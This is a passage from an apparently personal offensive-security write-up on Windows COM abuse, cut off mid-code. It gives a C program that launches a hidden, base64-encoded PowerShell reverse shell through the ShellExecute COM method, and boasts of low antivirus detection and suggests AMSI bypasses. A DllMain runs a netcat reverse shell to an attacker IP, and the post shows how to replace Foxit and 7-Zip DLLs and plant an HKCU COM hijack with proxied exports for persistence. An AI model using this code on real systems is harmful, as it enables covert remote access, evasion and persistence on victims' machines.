HRESULT CreateInstance(
  [in]  IUnknown *pUnkOuter,
  [in]  REFIID   riid,
  [out] void     **ppvObject
);
```

#### Parameters <a href="#parameters" id="parameters"></a>

`[in] pUnkOuter`

If the object is being created as part of an aggregate, specify a pointer to the controlling [IUnknown](https://learn.microsoft.com/en-us/windows/desktop/api/unknwn/nn-unknwn-iunknown) interface of the aggregate. Otherwise, this parameter must be NULL.

`[in] riid`

A reference to the identifier of the interface to be used to communicate with the newly created object. If *pUnkOuter* is NULL, this parameter is generally the IID of the initializing interface; if *pUnkOuter* is non-NULL, *riid* must be IID\_IUnknown.

`[out] ppvObject`

The address of pointer variable that receives the interface pointer requested in *riid*. Upon successful return, \**ppvObject* contains the requested interface pointer. If the object does not support the interface specified in *riid*, the implementation must set \**ppvObject* to NULL.

Once we have the `IDispatch` interface, we can call its `GetIDsOfNames` function to get the COM dispatch identifier (DISPID) of `ShellExecute`  so  we can invoke it via `invoke`  function.

```cpp
HRESULT GetIDsOfNames(
  [in]  REFIID   riid,
  [in]  LPOLESTR *rgszNames,
  [in]  UINT     cNames,
  [in]  LCID     lcid,
  [out] DISPID   *rgDispId
);
```

Maps a single member and an optional set of argument names to a corresponding set of integer DISPIDs, which can be used on subsequent calls to [Invoke](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/api/oaidl/nf-oaidl-idispatch-invoke). The dispatch function [DispGetIDsOfNames](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/api/oleauto/nf-oleauto-dispgetidsofnames) provides a standard implementation of GetIDsOfNames.

#### Parameters <a href="#parameters" id="parameters"></a>

`[in] riid`

Reserved for future use. Must be IID\_NULL.

`[in] rgszNames`

The array of names to be mapped.

`[in] cNames`

The count of the names to be mapped.

`[in] lcid`

The locale context in which to interpret the names.

`[out] rgDispId`

Caller-allocated array, each element of which contains an identifier (ID) corresponding to one of the names passed in the rgszNames array. The first element represents the member name. The subsequent elements represent each of the member's parameters.

And the last thing is to  use `Invoke`  function with correct program to pop a program

```cpp
HRESULT Invoke(
  [in]      DISPID     dispIdMember,
  [in]      REFIID     riid,
  [in]      LCID       lcid,
  [in]      WORD       wFlags,
  [in, out] DISPPARAMS *pDispParams,
  [out]     VARIANT    *pVarResult,
  [out]     EXCEPINFO  *pExcepInfo,
  [out]     UINT       *puArgErr
);
```

#### Parameters <a href="#parameters" id="parameters"></a>

`[in] dispIdMember`

Identifies the member. Use [GetIDsOfNames](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/api/oaidl/nf-oaidl-idispatch-getidsofnames) or the object's documentation to obtain the dispatch identifier.

`[in] riid`

Reserved for future use. Must be IID\_NULL.

`[in] lcid`

The locale context in which to interpret arguments. The *lcid* is used by the [GetIDsOfNames](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/api/oaidl/nf-oaidl-idispatch-getidsofnames) function, and is also passed to Invoke to allow the object to interpret its arguments specific to a locale.

Applications that do not support multiple national languages can ignore this parameter. For more information, refer to [Supporting Multiple National Languages](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/automat/supporting-multiple-national-languages) and [Exposing ActiveX Objects](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/automat/exposing-activex-objects).

`[in] wFlags`

Flags describing the context of the Invoke call.

| Value                    | Meaning                                                                                                                                                      |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| DISPATCH\_METHOD         | The member is invoked as a method. If a property has the same name, both this and the DISPATCH\_PROPERTYGET flag can be set.                                 |
| DISPATCH\_PROPERTYGET    | The member is retrieved as a property or data member.                                                                                                        |
| DISPATCH\_PROPERTYPUT    | The member is changed as a property or data member.                                                                                                          |
| DISPATCH\_PROPERTYPUTREF | The member is changed by a reference assignment, rather than a value assignment. This flag is valid only when the property accepts a reference to an object. |

`[in, out] pDispParams`

Pointer to a DISPPARAMS structure containing an array of arguments, an array of argument DISPIDs for named arguments, and counts for the number of elements in the arrays.

`[out] pVarResult`

Pointer to the location where the result is to be stored, or NULL if the caller expects no result. This argument is ignored if DISPATCH\_PROPERTYPUT or DISPATCH\_PROPERTYPUTREF is specified.

`[out] pExcepInfo`

Pointer to a structure that contains exception information. This structure should be filled in if DISP\_E\_EXCEPTION is returned. Can be NULL.

`[out] puArgErr`

The index within rgvarg of the first argument that has an error. Arguments are stored in pDispParams->rgvarg in reverse order, so the first argument is the one with the highest index in the array. This parameter is returned only when the resulting return value is DISP\_E\_TYPEMISMATCH or DISP\_E\_PARAMNOTFOUND. This argument can be set to null. For details, see [Returning Errors](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/automat/returning-errors).

we need first to create  structure of paramters. Contains the arguments passed to a method or property.

```cpp
typedef struct tagDISPPARAMS {
  VARIANTARG *rgvarg;
  DISPID     *rgdispidNamedArgs;
  UINT       cArgs;
  UINT       cNamedArgs;
} DISPPARAMS;
```

#### Members <a href="#members" id="members"></a>

`rgvarg`

An array of arguments.

**Note**: these arguments appear in reverse order

`rgdispidNamedArgs`

The dispatch IDs of the named arguments.

`cArgs`

The number of arguments.

`cNamedArgs`

The number of named arguments.

putting all of this in one code section

```c
#include <stdio.h>
#include <windows.h>
#include <initguid.h>
#include <objbase.h>

DEFINE_GUID(clsid,
    0x13709620, 0xc279, 0x11ce,
    0xa4, 0x9e, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00);

int main(int argc, char* argv[]) {
    HRESULT hr;
    LPOLESTR clsid_str = NULL;

    hr = StringFromCLSID(&clsid, &clsid_str);
    if (SUCCEEDED(hr)) {
        wprintf(L"[*] Using CLSID: %s\n", clsid_str);
        CoTaskMemFree(clsid_str);
    }
    else {
        printf("[-] StringFromCLSID failed\n");
    }

    LPOLESTR prog_name = NULL;
    hr = ProgIDFromCLSID(&clsid, &prog_name);
    if (SUCCEEDED(hr)) {
        wprintf(L"[*] Using ProgID: %s\n", prog_name);
        CoTaskMemFree(prog_name);
    }
    else {
        printf("[-] ProgIDFromCLSID failed or not found\n");
    }

    hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        printf("[-] CoInitialize failed with error: 0x%08lx\n", hr);
        return 1;
    }
    printf("[*] CoInitialize succeeded\n");

    // Load shell32.dll
    HMODULE shell32 = LoadLibraryA("shell32.dll");
    if (!shell32) {
        printf("[-] LoadLibrary shell32.dll failed: %lu\n", GetLastError());
        CoUninitialize();
        return 1;
    }

    // Define function pointer type for DllGetClassObject
    typedef HRESULT(__stdcall* PFN_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
    PFN_DllGetClassObject DllGetClassObject = (PFN_DllGetClassObject)GetProcAddress(shell32, "DllGetClassObject");
    if (!DllGetClassObject) {
        printf("[-] GetProcAddress failed: %lu\n", GetLastError());
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
    }
    printf("[*] DllGetClassObject address: %p\n", DllGetClassObject);

    IClassFactory* class_factory = NULL;
    hr = DllGetClassObject(&clsid, &IID_IClassFactory, (void**)&class_factory);
    if (FAILED(hr)) {
        printf("[-] DllGetClassObject failed with error: 0x%08lx\n", hr);
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
    }
    printf("[*] DllGetClassObject succeeded, class_factory: %p\n", class_factory);

	// Create an instance of the class

	IDispatch* dispatch = NULL;
	hr = class_factory->lpVtbl->CreateInstance(class_factory, NULL, &IID_IDispatch, (void**)&dispatch);
    if (FAILED(hr)) {
        printf("[-] CreateInstance failed with error: 0x%08lx\n", hr);
        class_factory->lpVtbl->Release(class_factory);
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
	}
	printf("[*] CreateInstance succeeded, dispatch: %p\n", dispatch);

	WCHAR* class_member = L"ShellExecute";
	DISPID dispid;
	hr = dispatch->lpVtbl->GetIDsOfNames(dispatch,&IID_NULL,&class_member,1,LOCALE_USER_DEFAULT,&dispid);
    if( FAILED(hr)) {
        printf("[-] GetIDsOfNames failed with error: 0x%08lx\n", hr);
        dispatch->lpVtbl->Release(dispatch);
        class_factory->lpVtbl->Release(class_factory);
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
	}
	printf("[*] GetIDsOfNames succeeded, dispid: %ld\n", dispid);

	// Prepare parameters for ShellExecute
    // Initialize the variant properly
   VARIANT result;
	VariantInit(&result);

	// ShellExecute needs 2 arguments in reverse order: parameters, then file
	VARIANT args[2];

	// Argument 1 (parameters)
	VariantInit(&args[0]);
	args[0].vt = VT_BSTR;
	args[0].bstrVal = SysAllocString(L" -WindowStyle Hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAyADcALgAwAC4AMAAuADEAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");

	// Argument 0 (file to execute)
	VariantInit(&args[1]);
	args[1].vt = VT_BSTR;
	args[1].bstrVal = SysAllocString(L"powershell.exe");

	DISPPARAMS disp_params;
	disp_params.rgvarg = args;
	disp_params.rgdispidNamedArgs = NULL;
	disp_params.cArgs = 2;
	disp_params.cNamedArgs = 0;

	hr = dispatch->lpVtbl->Invoke(dispatch, dispid, &IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &disp_params, &result, NULL, NULL);
    if(hr != S_OK) {
        printf("[-] Invoke failed with error: 0x%08lx\n", hr);
        SysFreeString(args[0].bstrVal);
		SysFreeString(args[1].bstrVal);
        dispatch->lpVtbl->Release(dispatch);
        class_factory->lpVtbl->Release(class_factory);
        FreeLibrary(shell32);
        CoUninitialize();
        return 1;
	}
	printf("[*] Invoke succeeded, result: %ld\n", result.lVal);

    // Cleanup
    class_factory->lpVtbl->Release(class_factory);
    FreeLibrary(shell32);
    CoUninitialize();

    return 0;
}

```

we can see that we Popuped a shell

<figure><img src="/files/G8blUdwiPuN2BSmp6USq" alt=""><figcaption><p>Using Shell Extension to Get a Shell</p></figcaption></figure>

For this part, I uploaded the file onto my Windows [Commando VM](https://blog.netwrix.com/2022/11/29/commando-vm/). However, this code can also be used on my latest Windows 11 host to get a shell without any errors, even if Defender uploads it to the cloud. Just make sure to add an AMSI bypass or change the execution policy first to run PowerShell correctly.

We can see it has a pretty low static detection on VirusTotal, even with a hardcoded reverse shell on it. So, we can create an XORed shellcode, then create a `Decoder.exe`. Drop it with this binary on the box, give it `encode_shellcode.txt` as an argument, decode it, and inject it dynamically into memory.

<figure><img src="/files/YnVVF4InYt7gXuaB3kYm" alt=""><figcaption><p>Virus Total</p></figcaption></figure>

So now we have a better understanding of how to work with COM objects.

## <mark style="color:red;">Enumerating COM Objects</mark>

Now the fun begins. Since COM objects are everywhere, we need to find a way to safely use the COM target to execute our payload and run a persistence module without crashing the COM client. Flying under the radar.

### <mark style="color:blue;">Hunting for COM Objects</mark>

To hunt for COM object targets, we need to step back and understand the lookup and registration process. The system throws a "Name not found" error if there is no DLL or EXE associated with the COM server's CLSID. In userland, if the registry is writable, we can hijack this path to gain execution.

COM object registration

Important subkeys:

* InprocServer/InprocServer32 - in process COM objects
* LocalServer/LocalServer32 - external COM objects, in another process
* InprocServer/LocalServer keys are for backwards compatibility for 16 bit exes and not common
* 32-bit, 64-bit processes/process servers use InprocServer32/LocalServer32

COM object registration registry hives:

* Per-user object registration: HKEY\_CURRENT\_USER\Software\Classes\CLSID
* System-wide registration: HKEY\_LOCAL\_MACHINE\Software\Classes\CLSID
* HKEY\_CLASSES\_ROOT (HKCR) is a virtual registry hive, showing merged view of HKCU and HKLM

<figure><img src="/files/JPgURA5QTaeaBCGVGRvP" alt=""><figcaption><p>CLSID Count</p></figcaption></figure>

The trick lies in the lookup mechanism. The resolution of a CLSID starts from **HKCU** (HKEY\_CURRENT\_USER) and then falls back to **HKLM** (HKEY\_LOCAL\_MACHINE) for normal COM clients. However, processes running with elevated privileges (e.g., as Administrator) start directly from **HKLM**. Any user can add registry entries to **HKCU**, which opens the door for COM hijacking in userland.

Keys are loaded from

1. Per-user object registration: HKCU\Software\Classes\CLSID < -- PRECEDENCE
2. System-wide object registration: HKLM\Software\Classes\CLSID

* Per-user COM registration has precedence over system-wide COM object registration
  * This means keys are read from HKCU before they are read from HKLM
    * Exception to this rule: elevated process read directly from HKLM to prevent trivial privilege escalation
* As we saw above, the vast majority of objects are registered at system-wide
* No special privileges are required to add keys to HKCU!
* Even if client read keys from HKCR (HKLM+HKCU), a CLSID duplicated in HKLM and HKCU will only show the value from HKCU!

Let’s consider a common scenario: you install a program, and it registers a COM object in the system registry. Sometimes, when you later uninstall that program, it only deletes the executable or DLL used by the COM class, but leaves the registry entry behind. This creates a misconfiguration that we can hunt for. If the registry is writable, it becomes possible to hijack the COM entry — by registering our own DLL at the same path. Then, whenever a user (or any process) interacts with that COM class, our malicious DLL will be loaded inside their process. This technique can also be used for persistence, since COM is triggered automatically by many apps and system services.

To stay stealthy, we can implement **DLL proxying** to avoid breaking the original COM behavior. This means exporting critical functions like <mark style="color:purple;">`DllGetClassObject`</mark> and forwarding any others needed by the original application to work properly.

I have created a tool called [`ComDumper`](https://github.com/Abdelhadi963/ComDumper) to enumerate COM objects and access them based on what we discussed earlier. I added some functions to add registry entries, which we will explore in detail shortly.

<figure><img src="/files/mBsJyBMHHYgVyaxuR5Wy" alt=""><figcaption><p>help menu</p></figcaption></figure>

In this step, I will target a PDF reader. [Foxit Reader](https://www.foxit.com/pdf-reader/)

We can search for it using my created tool. The `-sA` option allows us to browse all the CLSIDs and dump all important information about them, including Access Control and path.

A few COM objects were added to the registry.

<figure><img src="/files/RD806WWKbPpFkISBVNIY" alt=""><figcaption><p>find Forixt COM objects</p></figcaption></figure>

I haven't added the search by name feature yet, but we can use this to grab the CLSID associated with each DLL.

```powershell
.\ComDumper.exe -sA --verbose |
  Select-String -Pattern "^\[CLSID\]|Caption\s+:|InprocServer32\s+:" |
  ForEach-Object {
    if ($_ -match "^\[CLSID\]\s+(?<clsid>.+)") {
      $obj = [PSCustomObject]@{
        CLSID  = $matches['clsid']
        Caption = ""
        Path    = ""
      }
    } elseif ($_ -match "Caption\s+:\s+(?<caption>.*)") {
      $obj.Caption = $matches['caption']
    } elseif ($_ -match "InprocServer32\s+:\s+(?<path>.*)") {
      $obj.Path = $matches['path']
      $obj  # Only emit object when InprocServer32 is seen (complete group)
    }
  } | Where-Object { $_.Path -like "*foxit*" } | Format-Table -AutoSize

```

Received the following CLSID:

<figure><img src="/files/JJgVs3bBf3B8Sdxog83E" alt=""><figcaption><p>Foxit COM CLSIDs</p></figcaption></figure>

Let's target the Thumbnail Handler. We can see that Administrators have full control over that key, so it's a good target in a scenario after privilege escalation for persistence. However, you might find another software where a normal user has full access. The good thing about COM objects is that they are everywhere, so they are triggered easily. You could also target something that opens at startup.

For the sake of this demo, I will run my shell as admin and backup the DLL so we can test the case where it's missing.

<figure><img src="/files/Tymr2gVW4HgOMziSbRn1" alt=""><figcaption><p>Shell Extension</p></figcaption></figure>

Ensure no process is using the DLL file before deleting it.

```powershell
$foxitDLL = "C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\Shell Extensions\FoxitThumbnailHndlr_x64.dll"
$backupPath = "C:\Backups\FoxitBackup"

# Create backup directory if it doesn't exist
New-Item -ItemType Directory -Force -Path $backupPath

# Copy the DLL to backup folder with .bak extension
Copy-Item -Path $foxitDLL -Destination "$backupPath\FoxitThumbnailHndlr_x64.dll.bak" -Force

# Delete the original DLL
Remove-Item -Path $foxitDLL -Force
 
```

I have modified the tool to add a `--missing` flag to check for missing DLLs. We can see that the entry is still there but with a missing DLL path.

<figure><img src="/files/l7dffJux9VsFXKldrugI" alt=""><figcaption><p>New flags</p></figcaption></figure>

Now, we can check for missing DLLs.

<figure><img src="/files/LATjbSybnae8za62EDiC" alt=""><figcaption><p>Missing DLL</p></figcaption></figure>

Now, we can craft a DLL to be used normally in a complex assignment. We need to use DLL proxying to avoid breaking the software function. But first, let's hijack that DLL with a simple DLL that executes a reverse shell for us. We can use a simple VS Code DLLMain project as follows. I will use `nc` (no need for msfvenom DLL).

```cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "stdlib.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd.exe /c C:\\programdata\\nc.exe -e cmd 192.168.136.1 9001");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

Once the solution is built, we can replace it in the same location and name in the file system.

```powershell
$origDllPath = "C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\Shell Extensions\FoxitThumbnailHndlr_x64.dll"
$localDll = "C:\Users\ippyokai\Desktop\COM\ippyokai.dll"

Copy-Item -Path $localDll -Destination $origDllPath -Force
Write-Host "[+] Replaced original DLL with your DLL."
```

For the sake of the demo, I just found out that Explorer is not using this DLL at all to step into PDF previews. So, I will work around a simple C code to trigger the COM object, and afterward, I will target 7-Zip, which will work perfectly.

```c
#include <windows.h>
#include <objbase.h>
#include <stdio.h>

// Foxit PDF Thumbnail Handler CLSID
const CLSID CLSID_FoxitThumbnail = {0x21F5E992, 0x636E, 0x48DC, {0x9C, 0x47, 0x5B, 0x05, 0xDE, 0xF8, 0x23, 0x72}};

int main() {
    HRESULT hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        printf("COM initialization failed: 0x%08X\n", hr);
        return 1;
    }

    IUnknown* pUnknown = NULL;
    hr = CoCreateInstance(&CLSID_FoxitThumbnail, NULL, CLSCTX_INPROC_SERVER, &IID_IUnknown, (void**)&pUnknown);
    if (SUCCEEDED(hr)) {
        printf("Foxit COM object loaded successfully!\n");
        pUnknown->lpVtbl->Release(pUnknown);
    } else {
        printf("Failed to create Foxit COM instance: 0x%08X\n", hr);
    }

    CoUninitialize();
    return 0;
}
```

```
cl.exe /nologo /W4 /DUNICODE /D_UNICODE trigger.c ole32.lib
```

Obtained shell access on my main Windows host

<figure><img src="/files/dfXpGFlbEVjy87ZNuRAb" alt=""><figcaption><p>COMMANDO VM</p></figcaption></figure>

<figure><img src="/files/Qs3dig2brJeGhvaRY5qB" alt=""><figcaption><p>Shell as COMMANDO\ippyokai </p></figcaption></figure>

Now, we can target the same 7-Zip. I have changed some aspects of the [`ComDumper`](#intorduction) logic for file output handling. The full version will be presented on my GitHub repo, [IppYokai](https://github.com/Abdelhadi963/ComDumper).

<figure><img src="/files/VWc1iZpB6O5PM3bklAPG" alt=""><figcaption><p>7-Zip Shell Extension</p></figcaption></figure>

lookup the CLSID

```powershell
.\ComDumper3.exe -sA --verbose |
  Select-String -Pattern "^\[CLSID\]|Caption\s+:|InprocServer32\s+:" |
  ForEach-Object {
    if ($_ -match "^\[CLSID\]\s+(?<clsid>.+)") {
      $obj = [PSCustomObject]@{
        CLSID  = $matches['clsid']
        Caption = ""
        Path    = ""
      }
    } elseif ($_ -match "Caption\s+:\s+(?<caption>.*)") {
      $obj.Caption = $matches['caption']
    } elseif ($_ -match "InprocServer32\s+:\s+(?<path>.*)") {
      $obj.Path = $matches['path']
      $obj  # Only emit object when InprocServer32 is seen (complete group)
    }
  } | Where-Object { $_.Path -like "*7-zip*" } | Format-Table -AutoSize

```

<figure><img src="/files/TkHHayMqJI4KtMQyd4LV" alt=""><figcaption><p>7-Zip CLSID</p></figcaption></figure>

Now, we can enumerate the access as earlier `{23170F69-40C1-278A-1000-000100020000}`.

<figure><img src="/files/zVdxHz0ZfAYHThEwH7uq" alt=""><figcaption><p>7-zip DLL</p></figcaption></figure>

To back up the DLL safely, replace it, and trigger execution, we can first verify that `explorer.exe` loads the shell extension whenever we visit a folder with a `.zip` extension.

<figure><img src="/files/GYk3qtq9G0Lq7XJiu8Hz" alt=""><figcaption><p>explorer loaded DLL</p></figcaption></figure>

To release the DLL, restart the system or explorer process. Then, back up and replace it as follows:

```powershell
# Paths
$originalDLL = "C:\Program Files\7-Zip\7-zip.dll"
$replacementDLL = "C:\Users\ippyokai\Desktop\COM\ippyokai.dll"
$backupFolder = "C:\Users\ippyokai\Desktop\COM\Backup"

# Create backup folder if it doesn't exist
if (-not (Test-Path $backupFolder)) {
    New-Item -ItemType Directory -Path $backupFolder | Out-Null
}

# Generate timestamp for backup filename
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupDLL = Join-Path $backupFolder ("7-zip_backup_$timestamp.dll")

# Take ownership and grant full control to Administrators
takeown /F "$originalDLL" /A | Out-Null
icacls "$originalDLL" /grant Administrators:F | Out-Null

Write-Output "Backing up original DLL to $backupDLL"
Copy-Item -Path $originalDLL -Destination $backupDLL -Force

Write-Output "Replacing original DLL with $replacementDLL (renamed to 7-zip.dll)"
Copy-Item -Path $replacementDLL -Destination $originalDLL -Force
```

Open just a folder that contains a zip file, and we got a shell.

<figure><img src="/files/z4EGG3bpHU7M8dZNZn36" alt=""><figcaption><p>Shell  as commando\ippyokai</p></figcaption></figure>

Recover the DLL.

```powershell
# === Paths ===
$backupFile = "C:\Users\ippyokai\Desktop\COM\Backup\7-zip_backup_20250703_202747.dll"
$originalDLL = "C:\Program Files\7-Zip\7-zip.dll"

# Stop explorer to release the DLL
Stop-Process -Name explorer -Force
Start-Sleep -Seconds 2
# Reset the ACL
takeown /f "$originalDLL"
icacls "$originalDLL" /grant Administrators:F
# Recover The DLL
Copy-Item -Path $backupFile -Destination $originalDLL -Force
Start-Process explorer.exe
```

in some senarios some groups  in AD env have the ability to edit registry entries we can abuse that too using the same tool that i have created with `-e` flag to change the registry entry to your preferd dll

so you can directly alter  `InprocServer32`  or `LocalServer32` entries.

### <mark style="color:blue;">COM for presistence</mark>

In this section, we'll dive deeper into using DLL proxying for persistence through COM objects, while preserving original software behavior. This approach is inspired by techniques similar to those outlined in the [SpecterOps](https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/) article.

**We will start hunting for persistence opportunities. To do this, we will use Procmon to identify COM objects accessed by processes.**

As we know, the registry search order for COM objects typically follows this order: **HKCU → HKLM**. If Procmon shows a **"NAME NOT FOUND"** error for an attempt to access a CLSID under **HKCU**, this means the key doesn’t exist — and **we can potentially create it ourselves** under that location.

Since we have write permissions to **HKCU**, we can register our own malicious DLL there. However, **to avoid breaking the functionality** of the target application or the system, we must either **proxy the original DLL** or **export the required functions** expected by the process.

> For example, I broke Windows Explorer during my first attempt to hijack `windowscodecs.dll` by not properly replicating the exports. However, I recovered my system by deleting it from another user account, using runas to access my user context and retrieve my previous HKCU.

We could obviously target `7-zip.dll` again, but ideally, we want to hijack something that loads automatically at system startup — without requiring any user interaction.

To detect operations, we will rely on the power of `Procmon.exe`. We cannot create something as robust as `Procmon` hooking to detect operations using C#. Add the following filters to `Procmon`:

<figure><img src="/files/d4XPUm94ILP8aXrVkR54" alt=""><figcaption><p>Filters</p></figcaption></figure>

Here is the item that was targeted on the first try. It's commonly used in Windows for icon and image encoding and conversion, I believe.

<figure><img src="/files/4L1bb9Lmm0vjGvZd1OjO" alt=""><figcaption><p>Target</p></figcaption></figure>

we can see it in the registry

<figure><img src="/files/b6Ck34qJxHqo0q1iH3vd" alt=""><figcaption><p>registry</p></figcaption></figure>

We can verify the entry and access control using my simple [`ComDumper`](https://github.com/Abdelhadi963/ComDumper).

<figure><img src="/files/WPzoQ42q1XHhhLQBO3kX" alt=""><figcaption><p>Acess Control</p></figcaption></figure>

Before diving into exploitation testing, we can use the [acCOMplice](https://github.com/nccgroup/acCOMplice.git) tool to extract hijackable CLSIDs from a CSV file generated by Procmon.

<figure><img src="/files/nrvALvHGcKHd3jv4jMu3" alt=""><figcaption><p>Potential targets</p></figcaption></figure>

We can see our target now.

<figure><img src="/files/0Avcd4BD7Kf7gVT9LYwT" alt=""><figcaption></figcaption></figure>

Now we can add a DLL and register it to HKCU so that the system will load our DLL. We simply need to use the same threading module and components. We can use the following script. There are many tools available to generate the entry for a specific CLSID.

```powershell
$clsid = '{317D06E8-5F24-433D-BDF7-79CE68D8ABC2}'
$path = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
$payload = "C:\Users\ippyokai\Desktop\COM\ippyokai.dll"

# Create key and set payload
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name '(Default)' -Value $payload
Set-ItemProperty -Path $path -Name 'ThreadingModel' -Value 'Both'

Write-Host "[+] COM hijack registered under HKCU for CLSID $clsid"
```

However, we will analyze the system to understand what we need to export from it.

Download [FaceDancer](https://github.com/Tylous/FaceDancer.git) tool it's will parse the `.def`  file for us we can use it to get the exports and link them directly using `#pragma` . to export the function need by the system from the windowcodcs lib so that we wil not break the system.

<figure><img src="/files/5mx6Y9CBdIkq3ZBEwxs5" alt=""><figcaption><p>FaceDancer</p></figcaption></figure>

the The `.def` file is at the end. We can provide it to GPT or something similar to generate pragma entries.

```cpp
#pragma comment(linker, "/EXPORT:DllGetClassObject=windowscodecs.DllGetClassObject")
#pragma comment(linker, "/EXPORT:IEnumString_Next_WIC_Proxy=windowscodecs.IEnumString_Next_WIC_Proxy")
#pragma comment(linker, "/EXPORT:IEnumString_Reset_WIC_Proxy=windowscodecs.IEnumString_Reset_WIC_Proxy")
#pragma comment(linker, "/EXPORT:IPropertyBag2_Write_Proxy=windowscodecs.IPropertyBag2_Write_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapClipper_Initialize_Proxy=windowscodecs.IWICBitmapClipper_Initialize_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_DoesSupportAnimation_Proxy=windowscodecs.IWICBitmapCodecInfo_DoesSupportAnimation_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_DoesSupportLossless_Proxy=windowscodecs.IWICBitmapCodecInfo_DoesSupportLossless_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_DoesSupportMultiframe_Proxy=windowscodecs.IWICBitmapCodecInfo_DoesSupportMultiframe_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_GetContainerFormat_Proxy=windowscodecs.IWICBitmapCodecInfo_GetContainerFormat_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_GetDeviceManufacturer_Proxy=windowscodecs.IWICBitmapCodecInfo_GetDeviceManufacturer_Proxy")
#pragma comment(linker, "/EXPORT:IWICBitmapCodecInfo_GetDeviceModels_Proxy=windowscodecs.IWICBitmapCodecInfo_GetDeviceModels_Proxy")
// alot of exports cause it's a system wilde used thing :)     
```

To create a simple code that executes when the DLL is loaded, and since it is used frequently in Windows, we need to ensure our thread runs only once. We can achieve this by locking it with an Event. With this approach, use the following code to spawn only `calc.exe`.

```cpp
#include "pch.h"
#include <windows.h>

// pragma staff here 
BOOL IsPayloadRunning()
{
    HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, TEXT("//EVENT-48374635899"));
    if (hEvent == NULL)
        return FALSE;

    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        CloseHandle(hEvent);
        return TRUE;  // Event exists, payload is running
    }

    CloseHandle(hEvent);
    return FALSE;  // Event does not exist, payload not running
}

// Thread procedure to launch calc.exe
DWORD WINAPI ThreadProc(LPVOID lpParams)
{
    if (!IsPayloadRunning())  // Only launch payload if NOT already running
    {
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;

        CHAR applicationName[] = "C:\\Windows\\System32\\calc.exe";
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

